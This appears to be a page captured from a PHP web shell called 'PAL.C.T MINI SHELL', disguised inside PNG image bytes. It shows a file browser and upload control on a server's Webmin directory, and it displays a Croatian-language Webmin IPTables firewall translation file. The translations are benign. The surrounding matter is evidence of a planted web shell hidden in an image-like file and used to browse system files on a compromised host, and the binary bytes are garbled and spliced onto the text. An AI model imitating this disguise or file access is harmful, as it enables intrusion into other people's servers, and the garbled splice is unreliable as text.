php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/firewall6/lang/
upload
files >> //usr/libexec/webmin/firewall6/lang/hr.auto

index_title=Linux IPTables vatrozid
index_title_v=IPv4 vatrozid
index_title_v6=IPv6 vatrozid
index_editing=Datoteka s pravilima $1 
index_ecommand=Naredba $1 nije pronađena u vašem sustavu. Webmin treba ovu naredbu za konfiguriranje IPtablesa.
index_ekernel=Došlo je do pogreške prilikom provjere vaše trenutne konfiguracije IPtable-a: $1 To može značiti da vaše kernel ne podržava IPtables.
index_header=Konfiguracija vatrozida od $1 
index_evalid=UPOZORENJE! Vaša trenutna konfiguracija IPtablesa nije važeća : $1 
index_change=Prikazuje IPtable:
index_chain_input=Dolazni paketi (INPUT) - odnosi se samo na pakete upućene ovom hostu
index_chain_output=Izlazni paketi (OUTPUT) - Primjenjuje se samo na pakete koje je stvorio ovaj domaćin
index_chain_forward=Proslijeđeni paketi (FORWARD) - Primjenjuje se samo na pakete koji su prošli kroz ovaj domaćin
index_chain_prerouting=Paketi prije usmjeravanja (PREROUTING)
index_chain_postrouting=Paketi nakon usmjeravanja (POSTROUTING)
index_chain=Lanac $1 
index_action=Radnja
index_desc=Stanje
index_comm=Komentar
index_no_comment=
index_move=Pomicati
index_none=Za ovaj lanac nisu definirana pravila.
index_policy=Postavi zadanu radnju na:
index_policy_accept=Prihvatiti
index_policy_drop=Pad
index_policy_queue=Korisnički prostor
index_policy_return=Izađite iz lanca
index_jump_accept=<font color=#00aa00>Prihvati</font>
index_jump_drop=<font color=#ff0000>Ispusti</font>
index_jump_reject=<font color=#ff4400>Odbij</font>
index_jump_queue=<font color=#0000ff>Korisnički prostor</font>
index_jump_return=Izađite iz lanca
index_jump_log=Dnevnik paketa
index_jump_masquerade=maskarada
index_jump_redirect=preusmjeravanje
index_jump_dnat=Destinacija NAT
index_jump_snat=Izvor NAT
index_jump_=Ne radi ništa
index_jump=Skoči na lanac $1 
index_radd=Dodajte pravilo
index_cdelete=Izbriši lanac
index_crename=Preimenuj lanac
index_cclear=Izbriši sva pravila
index_cdeletesel=Obriši odabrano
index_cmovesel=Premjesti odabrano
index_cadd=Dodajte novi lanac s imenom:
index_apply=Primijeni konfiguraciju
index_applydesc=Kliknite ovaj gumb da biste aktivirali gore navedenu konfiguraciju vatrozida. Sva pravila vatrozida koji su trenutno na snazi bit će ispražnjeni i zamijenjeni
index_applydesc2=Kliknite ovaj gumb da biste gore navedenu konfiguraciju vatrozida učinili aktivnom na svim poslužiteljima u klasteru. Sva pravila vatrozida koji su trenutno na snazi bit će ispražnjeni i zamijenjeni
index_unapply=Vrati konfiguraciju
index_unapplydesc=Kliknite ovaj gumb kako biste resetirali gore navedenu konfiguraciju na onu koja je trenutno aktivna.
index_unapply2=Spremi konfiguraciju
index_unapply2desc=Kliknite ovaj gumb za spremanje gornje konfiguracije u datoteku konfiguracije stalnog vatrozida.
index_table_filter=Filtriranje paketa (filter)
index_table_nat=Prijevod mrežne adrese (nat)
index_table_mangle=Izmjena paketa (mangle)
index_existing=Webmin je otkrio trenutno korištena pravila vatrozida $1 IPtables koja nisu zabilježena u datoteci spremanja $2. Ova su pravila vjerojatno postavljena iz skripte koju ovaj modul ne zna čitati i uređivati. <p> Ako ovaj modul želite koristiti za upravljanje vatrozidom IPtablesa, kliknite gumb u nastavku da biste pretvorili postojeća pravila u datoteku za spremanje., a zatim onemogućite postojeću skriptu vatrozida.
index_saveex=Spremi pravila vatrozida
index_atboot=Želite li zaštitni zid zaštititi tijekom pokretanja sustava?
index_headerex=Postojeća konfiguracija vatrozida
index_bootup=Aktivirajte se pri pokretanju
index_bootupdesc=Promijenite ovu opciju da biste kontrolirali je li vatrozid aktiviran u vrijeme pokretanja ili ne.
index_return=popis pravila
index_setup=Na vašem sustavu još nije postavljen zaštitni zid IPtables. Webmin može postaviti jedan za vas koji će se pohraniti u datoteku za spremanje $1, s početnim postavkama na temelju vašeg odabira vrste vatrozida u nastavku ..
index_rsetup=Konfiguracija vatrozida IPtablesa na vašem sustavu uskoro će se postaviti. Webmin će postaviti nova zadana pravila koja će se pohraniti u datoteku spremanja $1, s početnim postavkama na temelju vašeg odabira vrste vatrozida u nastavku ..
index_auto0=Dopusti sav promet
index_auto1=Provedite mrežne adrese na vanjskom sučelju:
index_auto2=Blokiraj sve dolazne veze na vanjskom sučelju:
index_auto3=Blokirajte sve osim SSH i IDENT na vanjskom sučelju:
index_auto4=Blokirajte sve osim SSH, IDENT, ping i visoke portove na sučelju:
index_auto5=Blokirajte sve sučelja osim portova koji se koriste za virtualno hosting:
index_auto=Postavljanje vatrozida
index_add=Dodati
index_shorewall=Čini se da se Shorewall koristi za generiranje vatrozida vašeg sustava. Možda biste umjesto toga trebali koristiti <a href='$1'>modul zaštitnog zida Shoreline</a>.
index_firewalld=Čini se da se FirewallD koristi za generiranje vatrozida vašeg sustava. Možda biste umjesto toga trebali koristiti <a href='$1'>modul FirewallD</a>.
index_fail2ban=Čini se da se Fail2Ban koristi za upravljanje nekim pravilima vatrozida. Trebali biste ih izmijeniti <a href='$1'>modulom Fail2Ban</a> i filtrirati <a href=$2>f2b -. *</a> ili <a href=$2>fail2ban -. *</a>,
index_filter_chain=ne upravlja vatrozidom.
index_filter_nodirect=Otkrivena su vanjska upravljana pravila. Aktivirajte "<a href=$1>Izravno uredite pravila vatrozida"</a> ili će se vatrozidna pravila prekršiti.
index_reset=Poništi vatrozid
index_resetdesc=Kliknite ovaj gumb za brisanje svih postojećih pravila vatrozida i postavljanje novih pravila za osnovnu početnu konfiguraciju.
index_cluster=Poslužitelji klastera
index_clusterdesc=Kliknite ovaj gumb za postavljanje dodatnih Webmin poslužitelja na koje će se automatski kopirati konfiguracija vatrozida.
index_ipset=IP-set
index_ipset_title=Aktivni IP skupovi koji se mogu koristiti pravilima vatrozida
index_ipset_name=Naziv IP skupa
index_ipset_type=Tip
index_ipset_elem=# Elementi
index_ipset_maxe=# Maks
index_ipset_size=Veličina
index_ipvxmode=Promjena verzije IP protokola:
index_ipvx4=IPv4
index_ipvx6=IPv6

desc_p=protokol je $1 
desc_p!=protokol nije $1 
desc_s=izvor je $1 
desc_s!=izvor nije $1 
desc_d=odredište je $1 
desc_d!=odredište nije $1 
desc_i=sučelje ulaza je $1 
desc_i!=sučelje ulaza nije $1 
desc_o=sučelje izlaza je $1 
desc_o!=sučelje izlaza nije $1 
desc_f=paket je fragment
desc_f!=paket nije fragment
desc_sport=izvor porta je $1 
desc_sport!=izvor porta nije $1 
desc_dport=odredišni port je $1 
desc_dport!=odredišni port nije $1 
desc_sports=izvori portova su $1 
desc_sports!=izvori portova nisu $1 
desc_dports=odredišni portovi su $1 
desc_dports!=odredišni priključci nisu $1 
desc_tcp-flags=Postavljene su TCP zastave $2 (od $1)
desc_tcp-flags!=TCP zastave $2 (od $1) nisu postavljene
desc_tcp-option=paket koristi TCP opciju $1 
desc_tcp-option!=paket ne koristi TCP opciju $1 
desc_icmp-type=ICMP vrsta je $1 
desc_icmp-type!=ICMP vrsta nije $1 
desc_icmpv6-type=ICMP vrsta je $1 
desc_icmpv6-type!=ICMP vrsta nije $1 
desc_mac-source=ethernet adresa je $1 
desc_mac-source!=ethernet adresa nije $1 
desc_limit=stopa manja od $1 
desc_limit!=stopa veća od $1 
desc_limit-burst=brzina praska je manja od $1 
desc_limit-burst!=brzina praska je veća od $1 
desc_ports=izvorni i odredišni priključci su $1 
desc_ports!=izvorni i odredišni priključci nisu $1 
desc_uid-owner=pošiljalac je korisnik $1 
desc_uid-owner!=pošiljalac nije korisnik $1 
desc_gid-owner=pošiljalac je grupa $1 
desc_gid-owner!=pošiljalac nije grupa $1 
desc_pid-owner=ID postupka pošiljatelja je $1 
desc_pid-owner!=ID postupka pošiljatelja nije $1 
desc_sid-owner=grupa pošiljatelja sesije je $1 
desc_sid-owner!=grupa pošiljatelja sesije nije $1 
desc_state=stanje veze je $1 
desc_state!=stanje veze nije $1 
desc_ctstate=stanje veze je $1 
desc_ctstate!=stanje veze nije $1 
desc_tos=vrsta polja usluge je $1 
desc_tos!=vrsta polja usluge nije $1 
desc_match-set=$2 odgovara IPsetu $1
desc_match-set!=$2 ne odgovara IPsetu $1
desc_match-set_src=dolaznog prometa
desc_match-set_dst=odlaznog prometa
desc_physdev-in=fizičko sučelje ulaza je $1 
desc_physdev-in!=fizičko sučelje ulaza nije $1 
desc_physdev-out=fizičko sučelje na izlazu je $1 
desc_physdev-out!=fizičko sučelje na izlazu nije $1 
desc_conds=Ako $1 
desc_and=i
desc_always=Stalno
desc_args--match-set=$2 je sadržan u IP skupu $1 
desc_src=izvor
desc_dest=odredište

redhat_einstalled=Nije pronađena nijedna radnja pokretanja <tt>iptables (6)</tt>, što ukazuje da paket IPtables nije instaliran na vašem sustavu
redhat_eoutput=Došlo je do pogreške pri dobivanju statusa IPtables iz naredbe $1. To vjerojatno ukazuje da je vaš sustav konfiguriran za upotrebu IPchaina umjesto IPtablesa.

gentoo_escript=Skripta pokretanja Gentoo IPtables $1 nije pronađena u vašem sustavu.

eiptables=Nepoznati IPtables spremaju liniju datoteka : $1 
eip6tables=Nepoznati ip6tables spremaju liniju datoteka : $1 

edit_title1=Dodajte pravilo
edit_title2=Uredi pravilo
edit_title3=Pravilo klona
edit_header1=Pojedinosti o lancu i akciji
edit_chain=Dio lanca
edit_cmt=Komentar pravila
edit_jump=Radnja koju treba poduzeti
edit_jump_other=Pokreni lanac
edit_header2=Pojedinosti o stanju
edit_desc=Radnja odabrana gore provest će se samo ako su ispunjeni <b>svi</b> uvjeti u nastavku.
edit_source=Adresa izvora ili mreža
edit_ignore=zanemareni
edit_is=jednakima
edit_not=Ne odgovara
edit_dest=Odredišna adresa ili mreža
edit_in=Dolazno sučelje
edit_out=Izlazno sučelje
edit_frag=Fragmentacija
edit_fragis=Fragmentiran je
edit_fragnot=Nije fragmentiran
edit_proto=Mrežni protokol
edit_sport=Izvor TCP ili UDP priključak
edit_dport=Odredišni TCP ili UDP port
edit_port0=Luka (e)
edit_port1=Raspon priključaka $1 do $2 
edit_ports=Izvor i odredišna luka
edit_tcpflags=TCP zastave postavljene
edit_flags=$2 od $1 
edit_tcpoption=Postavljen je broj opcije TCP
edit_icmptype=ICMP vrsta paketa
edit_mac=Ethernet adresa
edit_limit=Brzina protoka paketa
edit_below=Ispod
edit_above=Iznad
edit_limitburst=Brzina pucanja paketa
edit_uidowner=Slanje Unix korisnika
edit_gidowner=Slanje unix grupe
edit_pidowner=Slanje ID-a postupka
edit_sidowner=Skupina procesa slanja
edit_state=Stanja veze
edit_state_new=Nova veza
edit_state_established=Postojeća veza
edit_state_related=Povezano s postojećim
edit_state_invalid=Nije dio nikakve veze
edit_state_untracked=Ne prati
edit_state_snat=Izvor NATd
edit_state_dnat=Odredište NATd
edit_tos=Vrsta usluge
edit_rtoports=Ciljajte portove za preusmjeravanje
edit_prange=Raspon priključaka $1 do $2 
edit_mtoports=Izvori luka za maskiranje
edit_dnat=IP i priključci za DNAT
edit_dnatip=IP raspon $1 do $2 
edit_snat=IP-ovi i portovi za SNAT
edit_any=bilo koji
edit_oifc=Ostali ..
edit_clone=Pravilo kloniranja
edit_before=Prije pravila $1 
edit_after=Nakon pravila $1 
edit_args=Dodatni parametri
edit_mods=Dodatni IPtables moduli
edit_rwith=Odbijte s vrstom ICMP
edit_rwithtype=Unesite $1 
edit_physdevin=Dolazno fizičko sučelje
edit_physdevout=Fizičko sučelje odlazno
edit_physdevisin=Paket dolazni na sučelje mosta
edit_physdevisout=Paket odlazni na sučelje mosta
edit_physdevisbridged=Paket se premošćuje
edit_matchset=Odgovarajući IPset
edit_matchsetsrc=o dolaznom prometu
edit_matchsetdst=na odlazni promet

save_err=Spremanje pravila nije uspjelo
save_echain=Nedostaje ili je nevaljan lanac za pokretanje
save_esource=Nedostaje ili nije važeća izvorna adresa ili mreža
save_edest=Nedostaje ili nije važeća odredišna adresa ili mreža
save_ein=Nedostaje ili nije valjano dolazno sučelje
save_eout=Nedostaje ili nije valjano odlazno sučelje
save_eproto=Nije odabran protokol
save_esport=Nedostaju ili nevažeća izvorišta
save_esportfrom=Nevažeći početak raspona za izvorne portove
save_esportto=Nevažeći kraj raspona izvorskih portova
save_esportrange=Za raspon izvora izvora morate unijeti barem početak ili kraj
save_etcpudp=Uvjeti izvora i odredišta mogu se koristiti samo ako su protokol TCP, UDP ili SCTP
save_edport=Nedostajuća ili nevažeća odredišna vrata
save_edportfrom=Nevažeći početak raspona za odredišne portove
save_edportto=Nevažeći kraj raspona za odredišne portove
save_edportrange=Za raspon odredišnih vrata morate unijeti barem početak ili kraj
save_eports=Nedostaje ili su nevažeći izvori i odredišna vrata
save_etcp1=Stanje TCP zastava može se koristiti samo ako je protokol TCP
save_etcpflags=Iz svakog retka morate odabrati najmanje jednu TCP zastavu
save_etcpflags2=Morate odabrati najmanje jednu TCP zastavu iz drugog reda
save_etcp2=Uvjet broja TCP opcije može se koristiti samo ako je protokol TCP
save_etcpoption=Nedostaje ili nevažeći broj opcije TCP
save_eicmp=Stanje vrste ICMP paketa može se koristiti samo ako je protokol ICMP
save_emac=Nedostaje ili nije važeća ethernet adresa
save_elimit=Nedostaje ili nije važeći protok paketa
save_elimitburst=Nedostaje ili je nevažeća stopa pucanja paketa
save_euidowner=Nedostaje ili nije važeći Unix korisnik
save_egidowner=Nedostaje ili je nevažeće slanje unix grupe
save_epidowner=Nedostaje ili je nevažeći ID postupka slanja
save_esidowner=Nedostaje ili je nevažeći ID procesne grupe za slanje
save_ertoports=Nedostaje ili je nevažeći ciljni port za preusmjeravanje
save_emtoports=Nedostaje ili nevažeći port izvora maskiranog
save_edipfrom=Nedostaje ili nije važeća početna IP adresa za DNAT
save_edipto=Nevaljana završna IP adresa za DNAT
save_edpfrom=Nevažeći početni port za DNAT
save_edpto=Nedostaje ili nevažeći završni port za DNAT
save_esipfrom=Nedostaje ili nije važeća početna IP adresa za SNAT
save_esipto=Nevaljana završna IP adresa za SNAT
save_espfrom=Nevažeći početni port za SNAT
save_espto=Nedostaje ili nevažeći završni port za SNAT
save_estates=Nije odabrano nijedno stanje veze
save_ecanjump=Nije vam dopušteno koristiti ovu akciju
save_ephysdevin=Nedostaje ili je nevažeće fizičko sučelje dolazno
save_ephysdevout=Nedostaje ili je nevažeće fizičko sučelje odlazno

delete_title=Izbriši lanac
delete_rusure=Jeste li sigurni da želite izbrisati lanac $1 ? $2 pravila unutar nje izbrisat će se.
delete_ok=Izbriši sada
delete_ecannot=Ne možete brisati lance

clear_title=Bistri lanac
clear_rusure=Jeste li sigurni da želite izbrisati sva $2 pravila iz lanca $1 ?
clear_ecannot=Ne smijete čistiti lance

new_err=Nije uspjelo stvaranje lanca
new_ename=Nedostaje ili nevaljano ime lanca
new_etaken=Lanac s ovim imenom već postoji
new_ecannot=Ne smijete stvarati lance

apply_err=Konfiguracija nije primijenjena
apply_ecannot=Nije vam dopušteno primijeniti konfiguraciju
apply_remote=Pogreška od $1 : $2 
unapply_err=Konfiguracija nije vraćena
unapply_ecannot=Ne možete poništiti konfiguraciju
bootup_ecannot=Prilikom pokretanja ne smijete omogućiti ili onemogućiti vatrozid

log_create_rule=Dodano je pravilo za lanac $1 u tablici $2 
log_modify_rule=Izmijenjeno pravilo u lancu $1 u tablici $2 
log_delete_rule=Izbrisano je pravilo u lancu $1 u tablici $2 
log_move_rule=Premješteno pravilo u lancu $1 u tablici $2 
log_delete_chain=Izbrisani lanac $1 iz tablice $2 
log_rename_chain=Preimenovani lanac $1 u tablici $2 
log_clear_chain=Pročišćeni lanac $1 u tablici $2 
log_create_chain=Stvoren je lanac $1 u tablici $2 
log_modify_chain=Postavite zadanu radnju za lanac $1 u tablici $2 
log_delsel_chain=Izbrisana su pravila $3 iz lanca $1 u tablici $2 
log_movesel_chain=Premješteno je $3 pravila iz lanca $1 u tablici $2 
log_apply=Primijenjena konfiguracija
log_unapply=Obrnuta konfiguracija
log_setup=Postavljanje vatrozida
log_convert=Pretvoreni postojeći vatrozid
log_bootup=Omogućen firewall u vrijeme dizanja
log_bootdown=Onemogućen vatrozid tijekom pokretanja
log_add_host=Dodan je cluster server $1 
log_add_group=Dodani su poslužitelji klastera iz grupe $1 
log_delete_host=Uklonjen je poslužitelj klastera $1 
log_delete_group=Uklonjeni su $1 poslužitelji klastera
log_openports=Otvoreni otvori vatrozida $1 

setup_eiface=Nije unešeno vanjsko mrežno sučelje
setup_ecannot=Nije vam dopušteno postavljanje vatrozida

acl_tables=Dopušteni IPtables
acl_apply=Može li primijeniti konfiguraciju?
acl_unapply=Ne možete primijeniti konfiguraciju?
acl_bootup=Može li zaštitni zid omogućiti prilikom pokretanja?
acl_setup=Može li započeti postavljanje vatrozida?
acl_cluster=Može li upravljati klasterom vatrozida?
acl_jumps=Dopuštene radnje
acl_jall=svi
acl_newchain=Mogu li stvoriti nove lance?
acl_delchain=Mogu li izbrisati ili očistiti lance?
acl_policy=Mogu li promijeniti zadanu politiku?

etable=Nije vam dopušteno uređivanje ovog IPtable-a
ejump=Nije vam dopušteno uređivanje ovog pravila
ecluster=Nije vam dopušteno upravljati grupom vatrozida

cluster_title=Poslužitelji vatrozida klastera
cluster_none=U grupu vatrozida još nije dodan nijedan poslužitelj.
cluster_host=Ime računala
cluster_desc=Opis
cluster_os=Operacijski sustav
cluster_add=Dodavanje poslužitelja
cluster_gadd=Dodajte poslužitelje u grupi
cluster_need=Prije nego što se njima ovdje može upravljati, morate dodati servere s prijavom i zaporkom u modulu Webmin Servers Index.
cluster_return=poslužitelji klastera
cluster_delete=Ukloni odabrano

add_title=Dodajte poslužitelje
add_msg=Dodavanje $1.
add_gmsg=Dodavanje poslužitelja u grupu $1 ..
add_err=Nije uspjelo dodavanje poslužitelja
add_gerr=Nije uspjelo dodavanje grupe
add_echeck=Server $1 nema Linux zaštitni zid
add_emissing=Poslužitelju $1 nedostaje naredba vatrozida $2 
add_ok=Dodano je $1, s $2 pravilima aktivnog vatrozida.
add_enone=Nema odabranih poslužitelja!

policy_ecannot=Nije vam dopušteno mijenjati zadana pravila za ovaj lanac

move_title=Pravila premještanja
move_count=Izabrana pravila
move_chain=Trenutna promjena
move_dest=Odredišni lanac
move_ok=Pomakni se sada
move_header=Opcije premještanja pravila

rename_title=Preimenuj lanac
rename_count=Pravila u lancu
rename_chain=Trenutni naziv
rename_name=Novo ime
rename_ok=Preimenuj sada
rename_header=Opcije lančanog preimenovanja
rename_adjust=Izmijeniti druga pravila koja skaču na ovaj lanac?
rename_none=nijedan
rename_ecannot=Ne možete preimenovati lance
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`